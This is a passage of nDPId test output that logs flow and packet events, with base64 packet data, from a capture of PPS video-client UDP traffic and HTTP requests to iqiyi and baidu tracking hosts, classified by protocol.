+00594{"flow_id":27,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":802,"source":"pps.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1467353136,"pkt_ts_usec":836297,"pkt_caplen":190,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":190,"pkt_l4_len":156,"pkt":"TF4M6gNlABxCjnAxCABFAACwAE0AAIARfCLAqHMIAamIdFkJRh8AnAFgWYAdDAwuflZsq80qHB0d4ujhuC\/oo6FIkiga8TBMVS4Tp83Nzc3NwMDDw8PDwsLC+Pj4+NjY2JiMjJDSXCwdWxzAmgFq3X\/9zU6MtBnZcQIKHhw9Oj4+NDQ0NDQ0ERAK8vLy8vDw8PDw8PPzJfVMtrYO1WWhbcXFCaFsiYlF7c3lANbQu6q159DFAFA7BwEAAAAAAA=="} +00594{"flow_id":27,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":803,"source":"pps.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1467353136,"pkt_ts_usec":836509,"pkt_caplen":190,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":190,"pkt_l4_len":156,"pkt":"TF4M6gNlABxCjnAxCABFAACwAE0AAIARfCLAqHMIAamIdFkJRh8AnAFgWYAdDAwuflZsq80qHB0d4ujhuC\/oo6FIkiga8TBMVS4Tp83Nzc3NwMDDw8PDwsLC+Pj4+NjY2JiMjJDSXCwdWxzAmgFq3X\/9zU6MtBnZcQIKHhw9Oj4+NDQ0NDQ0ERAK8vLy8vDw8PDw8PPzJfVMtrYO1WWhbcXFCaFsiYlF7c3lANbQu6q159DFAFA7BwEAAAAAAA=="} +00594{"flow_id":28,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":804,"source":"pps.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1467353136,"pkt_ts_usec":836552,"pkt_caplen":190,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":190,"pkt_l4_len":156,"pkt":"TF4M6gNlABxCjnAxCABFAACwAE4AAIARA3zAqHMIcimQmVkJKPwAnKXdWYAdDAwuflZsq80qHB0d4ujhuC\/oo6FIkiga8TBMVS4Tp83Nzc3NwMDDw8PDwsLC+Pj4+NjY2JiMjJDSXCwdWxzAmgFq3X\/9zU6MtBnZcQIKHhw9Oj4+NDQ0NDQ0ERAK8vLy8vDw8PDw8PPzJfVMtrYO1WWhbcXFCaFsiYlF7c3lANbQu6q159DFAFA7BwEAAAAAAA=="} +00474{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":805,"source":"pps.pcap","alias":"nDPId-test","flow_id":29,"flow_packet_id":1,"flow_first_seen":1467353136836,"flow_last_seen":0,"flow_tot_l4_data_len":60,"flow_min_l4_data_len":60,"flow_max_l4_data_len":60,"flow_avg_l4_data_len":60,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.115.8","dst_ip":"183.61.167.82","src_port":22793,"dst_port":17788,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00461{"flow_id":29,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":805,"source":"pps.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1467353136,"pkt_ts_usec":836991,"pkt_caplen":94,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":94,"pkt_l4_len":60,"pkt":"TF4M6gNlABxCjnAxCABFAABQAE8AAIARqA3AqHMItz2nUlkJRXwAPIb+NABEsXHrELXWDJoXvQAAAQACAAAAwKhzCAlZA9IvDBPKg8qD0i8MFMqDyoNyL1uBMFgwWA=="} +00473{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":806,"source":"pps.pcap","alias":"nDPId-test","flow_id":30,"flow_packet_id":1,"flow_first_seen":1467353136837,"flow_last_seen":0,"flow_tot_l4_data_len":32,"flow_min_l4_data_len":32,"flow_max_l4_data_len":32,"flow_avg_l4_data_len":32,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.115.8","dst_ip":"210.47.12.19","src_port":22793,"dst_port":33738,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00422{"flow_id":30,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":806,"source":"pps.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1467353136,"pkt_ts_usec":837135,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"TF4M6gNlABxCjnAxCABFAAA0AFAAAIARKHbAqHMI0i8ME1kJg8oAIH8VFYBREBD7616IhB4JtLS0tbW85SWN\/vYN"} +00473{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":807,"source":"pps.pcap","alias":"nDPId-test","flow_id":31,"flow_packet_id":1,"flow_first_seen":1467353136837,"flow_last_seen":0,"flow_tot_l4_data_len":32,"flow_min_l4_data_len":32,"flow_max_l4_data_len":32,"flow_avg_l4_data_len":32,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.115.8","dst_ip":"210.47.12.20","src_port":22793,"dst_port":33738,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00422{"flow_id":31,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":807,"source":"pps.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1467353136,"pkt_ts_usec":837248,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"TF4M6gNlABxCjnAxCABFAAA0AFEAAIARKHTAqHMI0i8MFFkJg8oAIH8UFYBREBD7616IhB4JtLS0tbW85SWN\/vYN"} +00474{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":808,"source":"pps.pcap","alias":"nDPId-test","flow_id":32,"flow_packet_id":1,"flow_first_seen":1467353136837,"flow_last_seen":0,"flow_tot_l4_data_len":32,"flow_min_l4_data_len":32,"flow_max_l4_data_len":32,"flow_avg_l4_data_len":32,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.115.8","dst_ip":"114.47.91.129","src_port":22793,"dst_port":22576,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00422{"flow_id":32,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":808,"source":"pps.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1467353136,"pkt_ts_usec":837423,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"TF4M6gNlABxCjnAxCABFAAA0AFIAAIAROQbAqHMIci9bgVkJWDAAILtBFYBREBD7616IhB4JtLS0tbW85SWN\/vYN"} +00594{"flow_id":28,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":809,"source":"pps.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1467353136,"pkt_ts_usec":837502,"pkt_caplen":190,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":190,"pkt_l4_len":156,"pkt":"TF4M6gNlABxCjnAxCABFAACwAE4AAIARA3zAqHMIcimQmVkJKPwAnKXdWYAdDAwuflZsq80qHB0d4ujhuC\/oo6FIkiga8TBMVS4Tp83Nzc3NwMDDw8PDwsLC+Pj4+NjY2JiMjJDSXCwdWxzAmgFq3X\/9zU6MtBnZcQIKHhw9Oj4+NDQ0NDQ0ERAK8vLy8vDw8PDw8PPzJfVMtrYO1WWhbcXFCaFsiYlF7c3lANbQu6q159DFAFA7BwEAAAAAAA=="} +00461{"flow_id":29,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":810,"source":"pps.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1467353136,"pkt_ts_usec":837503,"pkt_caplen":94,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":94,"pkt_l4_len":60,"pkt":"TF4M6gNlABxCjnAxCABFAABQAE8AAIARqA3AqHMItz2nUlkJRXwAPIb+NABEsXHrELXWDJoXvQAAAQACAAAAwKhzCAlZA9IvDBPKg8qD0i8MFMqDyoNyL1uBMFgwWA=="} +00422{"flow_id":30,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":811,"source":"pps.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1467353136,"pkt_ts_usec":837503,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"TF4M6gNlABxCjnAxCABFAAA0AFAAAIARKHbAqHMI0i8ME1kJg8oAIH8VFYBREBD7616IhB4JtLS0tbW85SWN\/vYN"} +00422{"flow_id":31,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":812,"source":"pps.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1467353136,"pkt_ts_usec":837503,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"TF4M6gNlABxCjnAxCABFAAA0AFEAAIARKHTAqHMI0i8MFFkJg8oAIH8UFYBREBD7616IhB4JtLS0tbW85SWN\/vYN"} +00422{"flow_id":32,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":813,"source":"pps.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1467353136,"pkt_ts_usec":837504,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"TF4M6gNlABxCjnAxCABFAAA0AFIAAIAROQbAqHMIci9bgVkJWDAAILtBFYBREBD7616IhB4JtLS0tbW85SWN\/vYN"} +00475{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":814,"source":"pps.pcap","alias":"nDPId-test","flow_id":33,"flow_packet_id":1,"flow_first_seen":1467353136837,"flow_last_seen":0,"flow_tot_l4_data_len":53,"flow_min_l4_data_len":53,"flow_max_l4_data_len":53,"flow_avg_l4_data_len":53,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.115.8","dst_ip":"220.130.154.23","src_port":22793,"dst_port":35941,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00452{"flow_id":33,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":814,"source":"pps.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1467353136,"pkt_ts_usec":837566,"pkt_caplen":87,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":87,"pkt_l4_len":53,"pkt":"TF4M6gNlABxCjnAxCABFAABJAFMAAIARkAbAqHMI3IKaF1kJjGUANbV3LYBpf3+UhDHn63Fm29raJCQtdHV9SUi43d3d0dGxsfr+\/v5V\/5XV18\/Pz6cA"} +00473{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":815,"source":"pps.pcap","alias":"nDPId-test","flow_id":34,"flow_packet_id":1,"flow_first_seen":1467353136837,"flow_last_seen":0,"flow_tot_l4_data_len":96,"flow_min_l4_data_len":96,"flow_max_l4_data_len":96,"flow_avg_l4_data_len":96,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.115.8","dst_ip":"218.61.39.87","src_port":22793,"dst_port":17788,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00511{"flow_id":34,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":815,"source":"pps.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1467353136,"pkt_ts_usec":837852,"pkt_caplen":130,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":130,"pkt_l4_len":96,"pkt":"TF4M6gNlABxCjnAxCABFAAB0AFQAAIARBODAqHMI2j0nV1kJRXwAYC8EWABVcnEAAAAAx2bnNgcAAAAAAAAAFJfHSwLp2roy68F8GXs9tGoAAAAAGAAAAAYAAAANKAICAAAAAwAYAMCocwgJWRcAAAsKAAAAAAAlAfAI8dQdAAAAAA=="} +00476{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":816,"source":"pps.pcap","alias":"nDPId-test","flow_id":35,"flow_packet_id":1,"flow_first_seen":1467353136838,"flow_last_seen":0,"flow_tot_l4_data_len":96,"flow_min_l4_data_len":96,"flow_max_l4_data_len":96,"flow_avg_l4_data_len":96,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.115.8","dst_ip":"119.188.133.182","src_port":22793,"dst_port":17788,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00512{"flow_id":35,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":816,"source":"pps.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1467353136,"pkt_ts_usec":838051,"pkt_caplen":130,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":130,"pkt_l4_len":96,"pkt":"TF4M6gNlABxCjnAxCABFAAB0AFUAAIARCQHAqHMId7yFtlkJRXwAYCbMWABVcnEAAAAA4pCy\/AcAAAAAAAAAFAQbslmKl2DoSDdZBZ9sSucAAAAAAAAAAAYIAAANKAICAAAADQAYAMCocwgJWRcAABIKAAAAAAAlAcgIZPMJAAAAAA=="} +00475{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":817,"source":"pps.pcap","alias":"nDPId-test","flow_id":36,"flow_packet_id":1,"flow_first_seen":1467353136838,"flow_last_seen":0,"flow_tot_l4_data_len":96,"flow_min_l4_data_len":96,"flow_max_l4_data_len":96,"flow_avg_l4_data_len":96,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.115.8","dst_ip":"183.61.167.104","src_port":22793,"dst_port":17788,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00512{"flow_id":36,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":817,"source":"pps.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1467353136,"pkt_ts_usec":838171,"pkt_caplen":130,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":130,"pkt_l4_len":96,"pkt":"TF4M6gNlABxCjnAxCABFAAB0AFYAAIARp8zAqHMItz2naFkJRXwAYEeGWABVcnEAAAAAyMXU\/wcAAAAAAAAAFADpSP+bPHc9KoW3YGEXtKMAAAAAAAAAAAYIAAANKAIBAAAACAAYAMCocwgJWRcAACUKAAAAAAAlActw35cdAAAAAA=="} +00452{"flow_id":33,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":818,"source":"pps.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1467353136,"pkt_ts_usec":838372,"pkt_caplen":87,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":87,"pkt_l4_len":53,"pkt":"TF4M6gNlABxCjnAxCABFAABJAFMAAIARkAbAqHMI3IKaF1kJjGUANbV3LYBpf3+UhDHn63Fm29raJCQtdHV9SUi43d3d0dGxsfr+\/v5V\/5XV18\/Pz6cA"} +00511{"flow_id":34,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":819,"source":"pps.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1467353136,"pkt_ts_usec":838373,"pkt_caplen":130,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":130,"pkt_l4_len":96,"pkt":"TF4M6gNlABxCjnAxCABFAAB0AFQAAIARBODAqHMI2j0nV1kJRXwAYC8EWABVcnEAAAAAx2bnNgcAAAAAAAAAFJfHSwLp2roy68F8GXs9tGoAAAAAGAAAAAYAAAANKAICAAAAAwAYAMCocwgJWRcAAAsKAAAAAAAlAfAI8dQdAAAAAA=="} +00512{"flow_id":35,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":820,"source":"pps.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1467353136,"pkt_ts_usec":838373,"pkt_caplen":130,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":130,"pkt_l4_len":96,"pkt":"TF4M6gNlABxCjnAxCABFAAB0AFUAAIARCQHAqHMId7yFtlkJRXwAYCbMWABVcnEAAAAA4pCy\/AcAAAAAAAAAFAQbslmKl2DoSDdZBZ9sSucAAAAAAAAAAAYIAAANKAICAAAADQAYAMCocwgJWRcAABIKAAAAAAAlAcgIZPMJAAAAAA=="} +00512{"flow_id":36,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":821,"source":"pps.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1467353136,"pkt_ts_usec":838374,"pkt_caplen":130,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":130,"pkt_l4_len":96,"pkt":"TF4M6gNlABxCjnAxCABFAAB0AFYAAIARp8zAqHMItz2naFkJRXwAYEeGWABVcnEAAAAAyMXU\/wcAAAAAAAAAFADpSP+bPHc9KoW3YGEXtKMAAAAAAAAAAAYIAAANKAIBAAAACAAYAMCocwgJWRcAACUKAAAAAAAlActw35cdAAAAAA=="} +00480{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":994,"source":"pps.pcap","alias":"nDPId-test","flow_id":37,"flow_packet_id":1,"flow_first_seen":1467353138757,"flow_last_seen":0,"flow_tot_l4_data_len":1280,"flow_min_l4_data_len":1280,"flow_max_l4_data_len":1280,"flow_avg_l4_data_len":1280,"midstream":1,"l3_proto":"ip4","src_ip":"192.168.115.8","dst_ip":"101.227.200.11","src_port":50463,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +02094{"flow_id":37,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":994,"source":"pps.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1467353138,"pkt_ts_usec":757317,"pkt_caplen":1314,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1314,"pkt_l4_len":1280,"pkt":"TF4M6gNlABxCjnAxCABFAAUUA1lAAIAGkOvAqHMIZePIC8UfAFBKp6EFWDmKmFAQ\/\/B9QgAAR0VUIC90cmFjazI\/YT0xJmFzPTE7MiwzOzQsNSZiPTE0NjczNTMxMzgmYz1hZTg3Y2IzY2ZkZjQ5NGFhNDhkYzYwODkwOWY2OTI1MCZjdj01LjIuMTUuMjI0MCZkPTUwMDAwMDA4NTg4NzQmZHI9MjE3NSZmPTRlM2FlNDE1YTU4NDc0OGFjOWFhMzE2MjhmMzlkMWU4Jmc9MF9hYW9lZmR0cWdmZGVweGMydG52M3BpdWNnY2I0ZW9mbiZoPSZpPXFjXzEwMDAwMV8xMDAxNDAmaXY9MCZqPTMxJms9MTgwOTMyMzAxJmtwPTRlM2FlNDE1YTU4NDc0OGFjOWFhMzE2MjhmMzlkMWU4Jm49NDc5NTMxMDAwJm89MSZwPTEwMDAwMDAwMDAzODEmcT01MDAwMDAwOTI3NTU4JnI9YzQ4ODllNjRhZDlkOWVlYjlmZjQzODkxMDg1MGM0NDImcnQ9MTQ2NzM1MzExMyZzPWFlYTU2YTgwOGZjOTJlZjM2MDUxOTEyMTk0OGUwZjI3JnN2PTQuMTAuMDA0JnU9MSZ1cD0mdj01MDAwMDAwODU5MTI0JnZlPTEmdz0yLDMgSFRUUC8xLjENCkFjY2VwdC1MYW5ndWFnZTogemgtQ04NClJlZmVyZXI6IGh0dHA6Ly93d3cuaXFpeWkuY29tL2NvbW1vbi9mbGFzaHBsYXllci8yMDE0MDkyNC9NYWluUGxheWVyXzVfMl8zX2MzXzJfMV82LnN3Zg0KcXlpZDogYWFvZWZkdHFnZmRlcHhjMnRudjNwaXVjZ2NiNGVvZm4NCnF5cGlkOiBfMjAxMg0KcXlwbGF0Zm9ybTogMC0yDQp4LWZsYXNoLXZlcnNpb246IDEyLDAsMCw3MA0KQWNjZXB0OiAqLyoNClByYWdtYTogbm8tY2FjaGUNCkNhY2hlLUNvbnRyb2w6IG5vLWNhY2hlDQpDb25uZWN0aW9uOiBLZWVwLUFsaXZlDQpVc2VyLUFnZW50OiBNb3ppbGxhLzQuMCAoY29tcGF0aWJsZTsgTVNJRSA4LjA7IFdpbmRvd3MgTlQgNi4xOyBXT1c2NDsgVHJpZGVudC80LjA7IFNMQ0MyOyAuTkVUIENMUiAyLjAuNTA3Mjc7IC5ORVQgQ0xSIDMuNS4zMDcyOTsgLk5FVCBDTFIgMy4wLjMwNzI5OyBNZWRpYSBDZW50ZXIgUEMgNi4wKS9RWS1QbGF5ZXItV2luZG93cy8yLjAuMTAyDQpIb3N0OiBhcGkuY3VwaWQuaXFpeWkuY29tDQpDb29raWU6IHBwc19jbGllbnRfdmVyMj01LjIuMTUuMjI0MDsgVDAwNDA0PTRlM2FlNDE1YTU4NDc0OGFjOWFhMzE2MjhmMzlkMWU4OyBfcHBzX2l2aT1WazQ5TVRZd05UQTFMYVcvcFBtaFJ6OC9QNlRhcEVlbXVEOC9wTSt3Wmo4dHBMV3gzemd3cGxvL3BHYW9jU1pXVUQweEpsWkRQVDgvUHo4K3BMV3gzemd3cGxvL3BHYW9jU1pXU2owdE1TWldVejFRSmxaRVBTWldWRnRCWFQweU1UYzFKbFpOUFNaV1ZqMDFMakl1TVRVdU1qSTBNQ1pXVlQxb2RIUndPaTh2ZDNkM0xtbHhhWGxwTG1OdmJTOTJYekU1Y25K"} +01259{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":994,"source":"pps.pcap","alias":"nDPId-test","flow_id":37,"flow_packet_id":1,"flow_first_seen":1467353138757,"flow_last_seen":0,"flow_tot_l4_data_len":1280,"flow_min_l4_data_len":1280,"flow_max_l4_data_len":1280,"flow_avg_l4_data_len":1280,"midstream":1,"l3_proto":"ip4","src_ip":"192.168.115.8","dst_ip":"101.227.200.11","src_port":50463,"dst_port":80,"l4_proto":"tcp","ndpi": {"proto":"HTTP","breed":"Acceptable","category":"Streaming"},"http": {"hostname":"api.cupid.iqiyi.com","url":"api.cupid.iqiyi.com\/track2?a=1&as=1;2,3;4,5&b=1467353138&c=ae87cb3cfdf494aa48dc608909f69250&cv=5.2.15.2240&d=5000000858874&dr=2175&f=4e3ae415a584748ac9aa31628f39d1e8&g=0_aaoefdtqgfdepxc2tnv3piucgcb4eofn&h=&i=qc_100001_100140&iv=0&j=31&k=180932301&kp=4e3ae415a584748ac9aa31628f39d1e8&n=479531000&o=1&p=1000000000381&q=5000000927558&r=c4889e64ad9d9eeb9ff438910850c442&rt=1467353113&s=aea56a808fc92ef360519121948e0f27&sv=4.10.004&u=1&up=&v=5000000859124&ve=1&w=2,3","code":0,"content_type":"","user_agent":"Mozilla\/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident\/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)\/QY-Player-Windows\/2.0.102"}} +00662{"flow_id":37,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":995,"source":"pps.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1467353138,"pkt_ts_usec":757540,"pkt_caplen":241,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":241,"pkt_l4_len":207,"pkt":"TF4M6gNlABxCjnAxCABFAADjA1pAAIAGlRvAqHMIZePIC8UfAFBKp6XxWDmKmFAY\/\/B4OwAAc2RuVjRiR2N1YUhSdGJBPT07IFFDMDA2PXU1NDl2cHoxMGw5ZmthdHVtNGFsdzRicDsgUUMwMDg9MTQ2NjY0NTgxNi4xNDY2NjQ1ODE2LjE0NjY2NDU4MTYuMTsgSG1fbHZ0XzUzYjczNzRhNjNjMzc0ODNlNWRkOTdkNzhkOWJiMzZlPTE0NjY2NDU4MTc7IFFDMDA1PWFhb2VmZHRxZ2ZkZXB4YzJ0bnYzcGl1Y2djYjRlb2ZuDQoNCg=="} +00744{"flow_id":37,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":996,"source":"pps.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1467353138,"pkt_ts_usec":794624,"pkt_caplen":306,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":306,"pkt_l4_len":272,"pkt":"ABxCjnAxTF4M6gNlCABFAAEkTcBAAC8Gm3Rl48gLwKhzCABQxR9YOYqYSqemrFAYSdTGUAAASFRUUC8xLjEgMjAwIE9LDQpTZXJ2ZXI6IG5naW54LzEuOC4wDQpEYXRlOiBGcmksIDAxIEp1bCAyMDE2IDA2OjA1OjM4IEdNVA0KQ29udGVudC1UeXBlOiB0ZXh0L2h0bWw7IGNoYXJzZXQ9dXRmLTgNCkNvbnRlbnQtTGVuZ3RoOiAyDQpDb25uZWN0aW9uOiBrZWVwLWFsaXZlDQpDYWNoZS1Db250cm9sOiBuby1jYWNoZQ0KQWNjZXNzLUNvbnRyb2wtQWxsb3ctQ3JlZGVudGlhbHM6IHRydWUNCkNhY2hlLUNvbnRyb2w6IG5vLWNhY2hlDQoNCm9r"} +00476{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":997,"source":"pps.pcap","alias":"nDPId-test","flow_id":38,"flow_packet_id":1,"flow_first_seen":1467353138931,"flow_last_seen":0,"flow_tot_l4_data_len":673,"flow_min_l4_data_len":673,"flow_max_l4_data_len":673,"flow_avg_l4_data_len":673,"midstream":1,"l3_proto":"ip4","src_ip":"192.168.115.8","dst_ip":"123.125.112.49","src_port":50464,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +01281{"flow_id":38,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":997,"source":"pps.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1467353138,"pkt_ts_usec":931591,"pkt_caplen":707,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":707,"pkt_l4_len":673,"pkt":"TF4M6gNlABxCjnAxCABFAAK1A3VAAIAG1W7AqHMIe31wMcUgAFAUdsqc+xrYh1AYQTe7PAAAR0VUIC9jbGs\/NTNlMjVlMzNlMDY0YzY1N2MwNmI1NThlNWMzYzMzZmQgSFRUUC8xLjENCkFjY2VwdC1MYW5ndWFnZTogemgtQ04NClJlZmVyZXI6IGh0dHA6Ly93d3cuaXFpeWkuY29tL2NvbW1vbi9mbGFzaHBsYXllci8yMDE0MDkyNC9NYWluUGxheWVyXzVfMl8zX2MzXzJfMV82LnN3Zg0KcXlpZDogYWFvZWZkdHFnZmRlcHhjMnRudjNwaXVjZ2NiNGVvZm4NCnF5cGlkOiBfMjAxMg0KcXlwbGF0Zm9ybTogMC0yDQp4LWZsYXNoLXZlcnNpb246IDEyLDAsMCw3MA0KQWNjZXB0OiAqLyoNClByYWdtYTogbm8tY2FjaGUNCkNhY2hlLUNvbnRyb2w6IG5vLWNhY2hlDQpDb25uZWN0aW9uOiBLZWVwLUFsaXZlDQpVc2VyLUFnZW50OiBNb3ppbGxhLzQuMCAoY29tcGF0aWJsZTsgTVNJRSA4LjA7IFdpbmRvd3MgTlQgNi4xOyBXT1c2NDsgVHJpZGVudC80LjA7IFNMQ0MyOyAuTkVUIENMUiAyLjAuNTA3Mjc7IC5ORVQgQ0xSIDMuNS4zMDcyOTsgLk5FVCBDTFIgMy4wLjMwNzI5OyBNZWRpYSBDZW50ZXIgUEMgNi4wKS9RWS1QbGF5ZXItV2luZG93cy8yLjAuMTAyDQpIb3N0OiBjbGljay5obS5iYWlkdS5jb20NCkNvb2tpZTogSE1BQ0NPVU5UPTg4Q0M2OUIwNEM5RDYyOUE7IEJBSURVSUQ9MjEwMkRDNzUxRUQwREYzNkUzRDZDRjZDMjEwRkFCNzk6Rkc9MQ0KDQo="} +00842{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":997,"source":"pps.pcap","alias":"nDPId-test","flow_id":38,"flow_packet_id":1,"flow_first_seen":1467353138931,"flow_last_seen":0,"flow_tot_l4_data_len":673,"flow_min_l4_data_len":673,"flow_max_l4_data_len":673,"flow_avg_l4_data_len":673,"midstream":1,"l3_proto":"ip4","src_ip":"192.168.115.8","dst_ip":"123.125.112.49","src_port":50464,"dst_port":80,"l4_proto":"tcp","ndpi": {"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {"hostname":"click.hm.baidu.com","url":"click.hm.baidu.com\/clk?53e25e33e064c657c06b558e5c3c33fd","code":0,"content_type":"","user_agent":"Mozilla\/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident\/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 